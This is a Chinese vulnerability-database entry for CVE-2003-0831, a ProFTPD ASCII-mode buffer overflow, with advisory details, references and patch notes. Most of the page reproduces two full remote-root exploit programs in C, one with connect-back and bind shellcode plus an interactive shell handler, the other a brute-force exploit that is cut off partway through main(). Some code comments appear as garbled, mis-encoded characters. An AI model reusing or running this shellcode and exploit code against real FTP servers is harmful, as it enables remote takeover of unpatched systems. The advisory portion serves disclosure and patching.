CVE-2003-0831
CVSS9.0
发布时间 :2003-11-17 00:00:00
修订时间 :2016-10-17 22:37:43
NMCOES    

[原文]ProFTPD 1.2.7 through 1.2.9rc2 does not properly translate newline characters when transferring files in ASCII mode, which allows remote attackers to execute arbitrary code via a buffer overflow using certain files.


[CNNVD]ProFTPD ASCII文件传输缓冲区溢出漏洞(CNNVD-200311-044)

        ProFTPD 1.2.7到1.2.9rc2版本不能在转换ASCII模式下的文件时正确翻译换行符,远程攻击者可以通过使用某些文件的缓冲区溢出执行任意代码。

- CVSS (基础分值)

CVSS分值: 9 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

cpe:/a:proftpd_project:proftpd:1.2.9_rc1
cpe:/a:proftpd_project:proftpd:1.2.8_rc1
cpe:/a:proftpd_project:proftpd:1.2.7_rc1
cpe:/a:proftpd_project:proftpd:1.2.8_rc2
cpe:/a:proftpd_project:proftpd:1.2.7
cpe:/a:proftpd_project:proftpd:1.2.8
cpe:/a:proftpd_project:proftpd:1.2.9_rc2
cpe:/a:proftpd_project:proftpd:1.2.7_rc2
cpe:/a:proftpd_project:proftpd:1.2.7_rc3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0831
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0831
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200311-044
(官方数据源) CNNVD

- 其它链接及资源

http://lists.grok.org.uk/pipermail/full-disclosure/2003-October/012072.html
(UNKNOWN)  FULLDISC  20031014 Another ProFTPd root EXPLOIT ?
http://marc.info/?l=bugtraq&m=106441655617816&w=2
(UNKNOWN)  BUGTRAQ  20030924 [slackware-security] ProFTPD Security Advisory (SSA:2003-259-02)
http://marc.info/?l=bugtraq&m=106606885611269&w=2
(UNKNOWN)  BUGTRAQ  20031013 Remote root exploit for proftpd \n bug
http://www.kb.cert.org/vuls/id/405348
(UNKNOWN)  CERT-VN  VU#405348
http://www.mandriva.com/security/advisories?name=MDKSA-2003:095
(UNKNOWN)  MANDRAKE  MDKSA-2003:095
http://xforce.iss.net/xforce/alerts/id/154
(UNKNOWN)  ISS  20030923 ProFTPD ASCII File Remote Compromise Vulnerability
http://xforce.iss.net/xforce/xfdb/12200
(VENDOR_ADVISORY)  XF  proftpd-ascii-xfer-newline-bo(12200)

- 漏洞信息

ProFTPD ASCII文件传输缓冲区溢出漏洞
高危 缓冲区溢出
2003-11-17 00:00:00 2005-10-20 00:00:00
远程  
        ProFTPD 1.2.7到1.2.9rc2版本不能在转换ASCII模式下的文件时正确翻译换行符,远程攻击者可以通过使用某些文件的缓冲区溢出执行任意代码。

- 公告与补丁

        The vendor has stated that patched versions of ProFTPD 1.2.7 through 1.2.9rc2 have been made available. These patched versions can be obtained from the vendor through various mirrors and are denoted with a 'p' after the version number, for example:
        proftpd-1.2.7p.tar.gz
        Sun have released a security update to address this issue in the RAQ XTR. Please see references section for further details. A fix is linked below.
        Slackware has released fixes to address this issue.
        OpenPKG updates are available. See advisory OpenPKG-SA-2003.043.
        Mandrake has issued fixes listed in advisory MDKSA-2003:095. **UPDATE: On Dec 31, 2003 Mandrake released new fixes correcting a bug in the patched version of ProFTPD.
        Trustix has issued fixes for Trustix Secure Linux. See advisory TSLSA-2003-0037 in the reference section.
        GENTOO has released an advisory 200309-16 and fix information to address this issue. Please see the referenced advisory for more information.
        Conectiva has released advisory CLA-2003:750 to address this issue.
        Turbolinux has released an advisory TLSA-2003-54 and fix information to address this issue. Please see the referenced advisory for more information.
        ProFTPD versions 1.2.9 and 1.2.9rc3 have been released which are not prone to this issue. Users are advised to obtain the fixes.
        Sun has released a fix for the Qube3.
        Sun Cobalt RaQ XTR
        
        ProFTPD Project ProFTPD 1.2.7
        
        ProFTPD Project ProFTPD 1.2.7 rc2
        
        ProFTPD Project ProFTPD 1.2.7 rc3
        
        ProFTPD Project ProFTPD 1.2.7 rc1
        
        ProFTPD Project ProFTPD 1.2.8
        
        ProFTPD Project ProFTPD 1.2.8 rc1
        
        ProFTPD Project ProFTPD 1.2.8 rc2
        
        ProFTPD Project ProFTPD 1.2.9 rc1
        
        ProFTPD Project ProFTPD 1.2.9 rc2
        

- 漏洞信息 (107)

ProFTPD 1.2.9rc2 ASCII File Remote Root Exploit (EDBID:107)
linux remote
2003-10-04 Verified
21 bkbll
N/A [点击下载]
/* proftpd 1.2.7/1.2.9rc2 remote root exploit by bkbll (bkbll#cnhonker.net, 2003/10/1)
* for FTP_ProFTPD_Translate_Overflow  found by X-force
* happy birthday, China.
* this code is dirty, there are more beautiful exploits of proftpd for this vuln in the world.
* this code want to provied u a method, not finally exploit.
* using overflow _xlate_ascii_write function return address.
* because the overflow is before it connecting to our port,so I have no method for using current socket.
* and I have provied two method:bind port and connect back.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 21
#define SIZE 1024
#define BIGSIZE 1024*42
#define OFFSET 39         //cbshellcode ip & port offset,0 is the first
#define OFF2   70         //bindshellcode port offset,0 is the first
#define VER "1.20"

char cbshellcode[]= //from www.netric.org,and modified some code by myself
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17"
"\xcd\x80\x31\xc0\x51\xb1\x06\x51"
"\xb1\x01\x51\xb1\x02\x51\x89\xe1"
"\xb3\x01\xb0\x66\xcd\x80\x89\xc2"
"\x31\xc0\x31\xc9\x51\x51\x68\x41"
"\x42\x43\x44\x66\x68\xb0\xef\xb1"
"\x02\x66\x51\x90\x89\xe7\xb3\x10"
"\x53\x57\x52\x89\xe1\xb3\x03\xb0"
"\x66\xcd\x80\x31\xc9\x39\xc1\x74"
"\x06\x31\xc0\xb0\x01\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd"
"\x80\x31\xc0\xb0\x3f\x89\xd3\xb1"
"\x02\xcd\x80\x31\xc9\x51\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x51\x68\x2d\x69\x69\x70"
"\x89\xe2\x51\x52\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80\x31"
"\xc0\xb0\x01\xcd\x80";
char bindshellcode[]= //from www.netric.org,and modified some code by myself
"\x90\x90\x90\x31\xc0\x31\xdb\x31"
"\xc9\xb0\x17\xcd\x80\x31\xc0\xb0"
"\x02\xcd\x80\x39\xc3\x7c\x0c\x31"
"\xc0\xb0\x02\xcd\x80\x39\xc3\x7c"
"\x02\xeb\x06\x31\xc0\xb0\x01\xcd"
"\x80\x51\x31\xc0\x51\xb1\x01\x51"
"\xb1\x02\x51\x89\xe1\xb3\x01\xb0"
"\x66\xcd\x80\x89\xc1\x31\xc0\x31"
"\xdb\x50\x50\x50\x66\x68\xb0\xef"
"\xb3\x02\x66\x53\x89\xe2\xb3\x10"
"\x53\xb3\x02\x52\x51\x89\xca\x89"
"\xe1\xb0\x66\xcd\x80\x31\xdb\x39"
"\xc3\x74\x05\x31\xc0\x40\xcd\x80"
"\x31\xc0\x50\x52\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x89\xd7\x31\xc0"
"\x31\xdb\x31\xc9\xb3\x11\xb1\x01"
"\xb0\x30\xcd\x80\x31\xc0\x31\xdb"
"\x50\x50\x57\x89\xe1\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc6\x31\xc0\x31"
"\xc9\x89\xf3\xb0\x3f\xcd\x80\x31"
"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x41\xb0\x3f\xcd\x80\x31\xc9\x51"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x51\x68\x2d\x69"
"\x69\x69\x89\xe2\x51\x52\x53\x89"
"\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";

int sockfd,sockfd1,sockfd2;
int show=0;
int mustread=0;
int getshell=0;
int pt=6000;
unsigned int type=1;
char bindmethod=0;
char usrstr[]="USER";
char passtr[]="PASS";
char ascistr[]="TYPE A";
char pasvstr[]="PASV";
char portstr[]="PORT";
char storstr[]="STOR";
char retrstr[]="RETR";
char cmdbuf[SIZE];
char srvbuf[SIZE];
char *cbhost=NULL;
char *server=NULL;
        
struct
{
 char *os;
 unsigned int ret;
 int backup; //using for next
} targets[] =
     {
          { "rh8.0 ProFTPD 1.2.8 (stable) 1", 0xbffff25c,0},
          { "rh8.0 ProFTPD 1.2.8 (stable) 2", 0xbffff22c,0},
    },v;
//main() {}
int sendbuf(int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
int client_connect(int sockfd,char* server,int port);
void checkstatus(char *s);
void retrfile(char *s,int len,int port);
void storfile(char *s,int len,int port);
int dealpasv(char *s);
int setpasv();
void setport(char *l,int pt1);
void quit();
void storbuf(char *filename,char *buf,int size,int port);
void retrbuf(char *filename,char *buffer,int length,int port1);
void setascii();
void loginftp(char *user,char *pass);
void setfilename(char *s,int len);
int createbuffer(char *s,int len,int type,char *h);
int create_serv(int sfd,int port);
void modify(char *s,char *h,int port3);
void usage(char *s);
int execsh(int clifd);
int checklf(void *s,int len);

main(int argc,char **argv)
{
    char buffer[BIGSIZE];
    char cmdbuf[SIZE];
    char srvbuf[SIZE];
    char filename[30];
    int j,a,b,port1;
    int total;
    char c;
    char *user=NULL;
    char *pass=NULL;
    char *localip=NULL;
    
    if(argc<2) usage(argv[0]);
    while((c = getopt(argc, argv, "d:t:u:p:l:h:o:"))!= EOF)
      {
            switch (c)
            {
              case 'd':
                  server=optarg;
                  break;
              case 't':
                  type = atoi(optarg);
                  if((type > sizeof(targets)/sizeof(v)) || (type < 1))
                       usage(argv[0]);
                  break;
             case 'u':
                  user=optarg;
                   break;
             case 'p':
                  pass=optarg;
                   break;
             case 'l':
                  localip=optarg;
                   break;
             case 'h':
                   cbhost=optarg;
                   break;
             case 'o':
                    pt=atoi(optarg) & 0xffff;
                    break;
             default:
                  usage(argv[0]);
                  return 1;
              }
          }
          if(server==NULL || user==NULL || pass==NULL || localip==NULL)
              usage(argv[0]);
       printf("@---------------------------------------------------------@\n");
    printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s  #\n",VER);
    printf("@    by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com      @\n");
    printf("-----------------------------------------------------------\n");      
    printf("[+] Ret address:%p\n",targets[type-1].ret);         
          if(cbhost==NULL)
        bindmethod=1;
    else
    {
        if((int)inet_addr(cbhost)==-1)
        {
            printf("[-] Invalid connect back host/ip\n");
            exit(0);
        }
        bindmethod=0;
    }
    port1=34568;              //PORTÃüÁîµÄʱºòÔÚ±¾µØ²úÉúµÄÒ»¸ö¶Ë¿Ú.
    sockfd=sockfd1=sockfd2=0;
    sockfd=socket(2,1,0);
    if(client_connect(sockfd,server,PORT)<0) quit();
    loginftp(user,pass);
    //port1=setpasv(); //get the pasv port
    setport(localip,port1);
    setfilename(filename,30);
    setascii();
    total=createbuffer(buffer,BIGSIZE,type,cbhost);
    //printf("[+] buffer data size:%d\n",total);
    storbuf(filename,buffer,total,port1);
    //stor over, then close and reconnect
    close(sockfd);
    close(sockfd1);
    close(sockfd2);
    
    sockfd=socket(2,1,0);
    if(client_connect(sockfd,server,PORT)<0) quit(); //reconnect
    loginftp(user,pass);
    setascii();
    
    setport(localip,port1); //get the pasv port,a new one
    mustread=total;
    retrbuf(filename,buffer,total,port1);
    readbuf("The First time read",sockfd,srvbuf,SIZE);
    port1++;
    setport(localip,port1);
    mustread=total;
    getshell=1;
    
    retrbuf(filename,buffer,total,port1);
    quit();
}
void setfilename(char *s,int len)
{
    int a;
    
    memset(s,0,len);
    a=getpid();
    sprintf(s,"%d%d%d.txt",a,a,a);
}

void retrfile(char *s,int len,int port)
{
    int i,pid;
    char data1;
    struct sockaddr_in client;
    
    memset(&client,0,sizeof(client));
    sockfd1=socket(2,1,0);
    if(create_serv(sockfd1,port)<0) quit();
    i=sizeof(client);
      sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
      printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
      memset(s,0,len);
      if(getshell==1)
    {
        if(bindmethod==0)
        {
            printf("[+] Is it a shell on %s:%d?\n",cbhost,pt);
            quit();
        }
        else
        {
            printf("[+] Waiting for a shell.....\n");
            sockfd2=socket(AF_INET,SOCK_STREAM,0);
            sleep(2);
            client_connect(sockfd2,server,pt);
            execsh(sockfd2);
            quit();
        }
    }
    readbuf(NULL,sockfd2,s,len);
      close(sockfd2);
    close(sockfd1);
    
}

void storfile(char *s,int len,int port)
{
    int i;
    struct sockaddr_in client;
    
    memset(&client,0,sizeof(client));
    sockfd1=socket(2,1,0);
    if(create_serv(sockfd1,port)<0) quit();
    //if(client_connect(sockfd1,HOST,port)<0) quit();
    i=sizeof(client);
      sockfd2=accept(sockfd1,(struct sockaddr *)&client,&i);
      printf("[+] Accepted a client from %s\n",inet_ntoa(client.sin_addr));
      sendbuf(sockfd2,s,len);
      close(sockfd2);
    close(sockfd1);
}
void setport(char *l,int pt1)
{
    int a,i,b,c,j;
    char buf[30];
    
    memset(buf,0,30);
    i=sprintf(buf,"%s",l);
    for(a=0;a<i;a++)
        if(buf[a]=='.') buf[a]=',';    
    memset(cmdbuf,0,SIZE);
    b=(pt1 >> 8 ) & 0xff;
    c=pt1 & 0xff;
    j=sprintf(cmdbuf,"%s %s,%d,%d\r\n",portstr,buf,b,c);
    printf("[+] %s",cmdbuf);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);    
}

int dealpasv(char *s)
{
    int a,b,c,d,e,f,g;
    char *p1,*p2,*p3;
    int i;
    
    p1=(char *)malloc(100);
    if(!s)
        quit();    
    p2=strchr(s,'(');
    //printf("p2:%s\n",p2);
    p3=strchr(s,')');
    //printf("p3:%s\n",p3);
    p3++;
    i=p3-p2;
    memcpy(p1,p2,i);
    p1[i]='\0';
    //printf("p1:%s\n",p1);
    sscanf(p1,"(%d,%d,%d,%d,%d,%d)",&a,&b,&c,&d,&e,&f);
    //printf("a:%d,b:%d,c:%d,d:%d,e:%d,f:%d\n",a,b,c,d,e,f);
    g=(e<<8) | f;
    //printf("port:%d\n",g);
    free(p1);
    return g;
}

void quit()
{
    if(sockfd>0)
        close(sockfd);
    if(sockfd1>0)
        close(sockfd);
    if(sockfd2>0)
        close(sockfd);    
    exit(0);
}
int sendbuf(int socket,char *buffer,int len)
{
    int j;
    
    j=send(socket,buffer,len,0);
    if(j==0)
    {
        printf("[-] server closed the socket\n");
        quit();
    }    
    if(j<0)
    {
        perror("[-] Send data error");
        quit();
    }
    return j;
}

int readbuf(char *s,int socket,char *buffer,int len)
{
    int a,b,i,j=0;
    
    a=b=i=0;
    memset(buffer,0,len);
    if(s)
    {
        printf("[+] %s:",s);
        fflush(stdout);
    }
    //j=lseek(socket,0,2);
    //printf("j:%d\n",j);
    if(mustread==0)
    {
        j=recv(socket,buffer,len-1,0);
        if(j==0)
        {
            if(s)
                printf("FAILED\n");
            printf("[-] server closed the socket\n");
            quit();
        }    
        if(j<0)
        {
            if(s)
                printf("FAILED\n");
            perror("[-] read data error");
            quit();
        }
        if(s)
            printf("ok\n");
        buffer[len-1]='\0';
        if(show==1)
            printf("<== %s",buffer);
    }
    else
    {
        //ÎÒÃDz»ÓùØÐÄ·µ»ØһЩʲôÊý¾Ý
        b=mustread-i;
        while(b>0)
        {
            
            a=b>(len-1)?(len-1):b;
            i=recv(socket,buffer,a,0);
            if(i==0)
            {
                if(s)
                    printf("FAILED\n");
                printf("[-] server closed the socket\n");
                quit();
            }    
            if(i<0)
            {
                if(s)
                    printf("FAILED\n");
                perror("[-] read data error");
                quit();
            }
            if(s)
                printf("ok\n");
            b-=i;
            j+=i;
        }
        //printf("j:%d,mustread:%d\n",j,mustread);
        if(j!=mustread)
        {
            printf("read failed\n");
            quit();
        }
    }
    //show=0;
    mustread=0;
    return j;
}

int client_connect(int sockfd,char* server,int port)
{
    struct sockaddr_in cliaddr;
    struct hostent *host;
    
    if((host=gethostbyname(server))==NULL)
    {
        printf("gethostbyname(%s) error\n",server);
        return(-1);
    }      
    
    bzero(&cliaddr,sizeof(struct sockaddr));
    cliaddr.sin_family=AF_INET;
    cliaddr.sin_port=htons(port);
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
    printf("[+] Trying %s:%d....",server,port);
    fflush(stdout);
    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
    {
        printf("error:%s\r\n",strerror(errno));
        close(sockfd);
        return(-1);
    }
    printf("ok\r\n");
    return(0);
}

void checkstatus(char *s)
{
    if(s==NULL)
        quit();
    if(isdigit(*s))
    {
        if(s[0]=='5')
        {    
            printf("[-] Server told:%s\n",s);
            quit();
        }
        else
            return;
    }
    printf("[-] Server said:%s\n",s);
    quit();
}

void loginftp(char *user,char *pass)
{
    int j;
    
    show=1;
    readbuf("Get banner",sockfd,srvbuf,SIZE);
    show=0;
    memset(cmdbuf,0,SIZE);
    //USER
    j=sprintf(cmdbuf,"%s %s\r\n",usrstr,user);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
    //PASS
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s %s\r\n",passtr,pass);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
    printf("[+] User %s logged in\n",user);
}

int setpasv()
{
    int j,port1;
        
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s\r\n",pasvstr);
    sendbuf(sockfd,cmdbuf,j);
    readbuf("Set PASV",sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
    port1=dealpasv(srvbuf); //get the pasv port
    return port1;
}

void setascii()
{
    int j;
    
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s\r\n",ascistr);
    sendbuf(sockfd,cmdbuf,j);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);    

}

void storbuf(char *filename,char *buf,int size,int port)
{
    int j;
    
    printf("[+] STOR file %s\n",filename);
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s %s\r\n",storstr,filename);
    sendbuf(sockfd,cmdbuf,j);
    storfile(buf,size,port);
    //check if the content is send overd
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
}

void retrbuf(char *filename,char *buffer,int length,int port1)
{
    int j;
    
    printf("[+] RETR file %s\n",filename);
    memset(cmdbuf,0,SIZE);
    j=sprintf(cmdbuf,"%s %s\r\n",retrstr,filename);
    sendbuf(sockfd,cmdbuf,j);
    
    retrfile(buffer,length,port1);
    readbuf(NULL,sockfd,srvbuf,SIZE);
    checkstatus(srvbuf);
}

int createbuffer(char *s,int len,int type,char *h)
{
    int i,a,total;
    char buf[41];
    unsigned int writeaddr=targets[type-1].ret;
    
    writeaddr-=4;
    if(checklf((void *)&writeaddr,4)<0)
    {
        printf("[-] Sorry, the ret addr %p=%p-4 have '\\n' char.\n",writeaddr,writeaddr+4);
        quit();
    }
    a=i=0;
    memset(s,0,len);
    i+=3;
    *(unsigned int *)(s+i)=writeaddr+7*4;
    i+=4;
    *(unsigned int *)(s+i)=writeaddr-0x600;
    i+=4;
    *(unsigned int *)(s+i)=writeaddr-0x400;
    i+=4;
    *(unsigned int *)(s+i)=writeaddr-0x200;
    i+=4;
    *(unsigned int *)(s+i)=writeaddr-0x300;
    i+=4;
    *(unsigned int *)(s+i)=0x0;
    i+=4;
    *(unsigned int *)(s+i)=0x90900eeb;
    i+=4;
    *(unsigned int *)(s+i)=0x0;
    i+=4;
    *(unsigned int *)(s+i)=0x0;
    i+=4;
    *(unsigned int *)(s+i)=0x0;
    i+=4;
    //connectback shellcode,modified ip & port
    if(bindmethod==0)
    {
        modify(cbshellcode,h,pt);
        memcpy(s+i,cbshellcode,strlen(cbshellcode));
        i+=strlen(cbshellcode);
    }
    else
    {
        modify(bindshellcode,NULL,pt);
        memcpy(s+i,bindshellcode,strlen(bindshellcode));
        i+=strlen(bindshellcode);
    }
    memset(s+i,'Z',512-i);
    memset(s+512,'\n',512);
    total=1024;
    memset(buf,0,41);
    i=0;
    memset(buf,'\n',20);
    i+=20;
    *(unsigned int *)(buf+i)=writeaddr;
    i+=4;
    *(unsigned int *)(buf+i)=writeaddr;
    i+=4;
    *(unsigned int *)(buf+i)=writeaddr+0x800; //here,the value must great than 0x600
    i+=4;
    *(unsigned int *)(buf+i)=writeaddr;
    i+=4;
    *(unsigned int *)(buf+i)=writeaddr;
    //showmem(buf,40);
    for(i=0;i<1024;i++)
    {
        a=(i*40)+1024;
        memcpy(s+a,buf,40);
        total+=40;
    }
    return total;
}

int create_serv(int sfd,int port)
{
    struct sockaddr_in srvaddr;
    int on=1;
    
    bzero(&srvaddr,sizeof(struct sockaddr));
    srvaddr.sin_port=htons(port);
    srvaddr.sin_family=AF_INET;
    srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);
    printf("[+] Listening on %d ....",port);
      fflush(stdout);
    setsockopt(sfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));  //so I can rebind the port
    if(bind(sfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)
    {
        printf("FAILED\n");
        perror("[-] Bind port error");
        return(-1);
    }
    if(listen(sfd,5)<0)
    {
        printf("FAILED\n");
        perror("[-] Listen error");
        return(-1);
    }
    printf("ok\n");
    return(0);
}

void modify(char *s,char *h,int port3)
{
    int a,b,c,d;
    if(h!=NULL)
    {
        sscanf(h,"%d.%d.%d.%d",&a,&b,&c,&d);    
        a&=0xff;
        b&=0xff;
        c&=0xff;
        d&=0xff;
        if((char)a=='\n' || (char)b=='\n' || (char)c=='\n' || (char)d=='\n')
        {
            printf("[-] Sorry, the connect back ip:%s have '\\n' char\n",h);
        }
        s[OFFSET] = a & 0xff;
        s[OFFSET+1] = b & 0xff;
        s[OFFSET+2] = c & 0xff;
        s[OFFSET+3] = d & 0xff;
        
        a=port3 >> 8 & 0xff;
        b=port3 & 0xff;
        if((char)a=='\n' || (char)b=='\n')
        {
            printf("[-] Sorry, the connect back port:%d have '\\n' char\n",port3);
            quit();
        }
        s[OFFSET+6]=a;
        s[OFFSET+7]=b;
    }
    else
    {
        a=port3 >> 8 & 0xff;
        b=port3 & 0xff;
        if((char)a=='\n' || (char)b=='\n')
        {
            printf("[-] Sorry, the bind port:%d have '\\n' char\n",port3);
            quit();
        }
        s[OFF2]=a;
        s[OFF2+1]=b;
    }
}
void usage(char *s)
{
    unsigned int a;
    char *p;
    int d=strlen(s)+1;
    
    p=(char *)malloc(d);
    memset(p,0x20,d-1);
    p[d-1]=0;
    printf("@---------------------------------------------------------@\n");
    printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s  #\n",VER);
    printf("@    by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com      @\n");
    printf("-----------------------------------------------------------\n");
    printf("Usage:%s -d <host> -u <user> -p <pass> -t <type>\n",s);
    printf("      %s -l <local ip> -h <cbip> -o <cbport>\n",p);
    printf("Arguments:\n");
    printf("      -d target host ip/name\n");
    printf("      -u user name\n");
    printf("      -p user paasword\n");
    printf("      -l the ip of this machine u used\n");
    printf("      -h connect back ip\n");
    printf("      -o connect back port/bind port\n");
    printf("      -t target type [default:%d]\n",type);
    printf("      ------------------------------\n");
    for(a = 0; a < sizeof(targets)/sizeof(v); a++)
        printf("         %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);   
    printf("\n"); 
    free(p);          
    exit(0);
}

int execsh(int clifd)
{ 
    fd_set fds;
    int count;
    char buffer[SIZE];
    memset(buffer,0,SIZE);
    while(1)
    {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(clifd, &fds);
        
        if (select(clifd+1, &fds, NULL, NULL, NULL) < 0) 
        {
            if (errno == EINTR) continue;
            break;
        }
        if (FD_ISSET(0, &fds)) 
        {
            count = read(0, buffer, SIZE);
            if (count <= 0) break;
            if (write(clifd, buffer, count) <= 0) break;
            memset(buffer,0,SIZE);
        }
        if (FD_ISSET(clifd, &fds)) 
        {
            count = read(clifd, buffer, SIZE);
            if (count <= 0) break;
            if (write(1, buffer, count) <= 0) break;
            memset(buffer,0,SIZE);
        }
        
    }
}
    
int checklf(void *sd,int len)
{
    char *a;
    int i=0;
    
    a=(char *)sd;
    for(i=0;i<len;i++)
        if(*(a+i)=='\n') //found it
            return -1;
    return 0;
}



// milw0rm.com [2003-10-04]
		

- 漏洞信息 (110)

ProFTPD 1.2.7 - 1.2.9rc2 Remote Root & brute-force Exploit (EDBID:110)
linux remote
2003-10-13 Verified
21 Haggis
N/A [点击下载]
/*
ProFTPd 1.2.7 - 1.2.9rc2 remote r00t exploit
--------------------------------------------
By Haggis

This exploit builds on the work of bkbll to
create a working, brute-force remote exploit
for the \n procesing bug in ProFTPd.

Tested on SuSE 8.0, 8.1 and RedHat 7.2/8.0
it works quite well... the RedHat boxes
worked on stack addresses in the 0xbffff2xx
region; the SuSE boxes were somewhat earlier
in the stack space - around 0xbfffe8xx.

This is the only public version you'll see
from Haggis@Doris - but it is very likely
that more powerful private versions will
be coded.

At present, this exploit breaks chroot (if
any) and spawns a shell bound to port 4660.

----------

This version is best run like so:

./proft_put_down -t hostname -l localIP -U incoming

where:

hostname = target box
localIP = your IP address

-U incoming specifies that the exploit will attempt
to create an 'incoming' directory on the remote ftp
server and work inside that. Without it, the shell-
code will probably not work properly. You have been
warned!

It is possible to use other credentials for logging
in to remote servers; anonymous is the default.

H.
*/

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

#define STACK_START 0xbfffef04
#define STACK_END 0xbffff4f0
#define FTP_PORT 21
#define BINDSHELL_PORT 4660
#define SIZE 1024
#define EXPLOIT_BUF_SIZE 65535
#define DEFAULT_USER "anonymous"
#define DEFAULT_PASS "ftp@"
#define FAILURE -1
#define SUCCESS 0
#define NORMAL_DOWNLOAD 1
#define EXPLOIT_DOWNLOAD 2
#define DOWNLOAD 3
#define UPLOAD 4
#define ACCEPT_TIMEOUT 5
#define SLEEP_DELAY 19999999

/*
Leet 0-day HaggisCode (tm)
*/
char shellcode[] =
// setuid(0); setgid(0);
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"

// fork() - parent terminates, killing proftpd and ending FTP
// session. This leaves the child process as a daemon...
"\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31"
"\xdb\x31\xc0\xb0\x01\xcd\x80"

// Finally, bind a shell to port 4660.
// This is a hacked version of the bindshell code by BigHawk.
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68\x12\x34\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
"\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
"\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68\x2e\x2f\x61\x61\x89\xe3\x51\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

int controlSock, passiveSock;
int currentPassivePort=32769;
int currentServerPort=31337;
int exploitBufLen;
int attemptNumber=0;
int ftpPort=FTP_PORT;
unsigned int stackWriteAddr, retAddr;
char serverBuf[SIZE];
char exploitBuf[EXPLOIT_BUF_SIZE];
char uploadPath[SIZE]="";
char filename[SIZE*2];
char *server=NULL;
char *user=DEFAULT_USER;
char *pass=DEFAULT_PASS;
char *localIP=NULL;
char errorBuf[SIZE];

int connect_to_server(int port);
int login_to_server();
int set_passive_mode(int mode);
int set_ascii_mode();
int set_path_and_filename();
int check_for_linefeed();
int check_status();
int create_passive_server();
int create_exploit_buffer();
int upload_file();
int download_file(int mode);
void usage(char *s);
int do_remote_shell(int shellSock);
void status_bar(char *info);
int timeout_accept(int s, struct sockaddr *sa, int *f);
void my_send(int s, char *b, ...);
void my_recv(int s);
void my_sleep(int n);
void doris_chroot_breaker();

int main(int argc,char **argv)
{
int sleepMode=0;
char c;
unsigned int stackStartAddr=STACK_START;

if(argc<2) usage(argv[0]);
while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) {
switch (c) {
case 't':
server=optarg;
break;
case 'u':
user=optarg;
break;
case 'p':
pass=optarg;
break;
case 'l':
localIP=optarg;
break;
case 's':
sleepMode=1;
break;
case 'U':
strncpy(uploadPath,optarg,SIZE);
break;
case 'P':
ftpPort=atoi(optarg);
break;
case 'S':
stackStartAddr=strtoul(optarg, NULL, 16);
break;
default:
usage(argv[0]);
return 1;
}
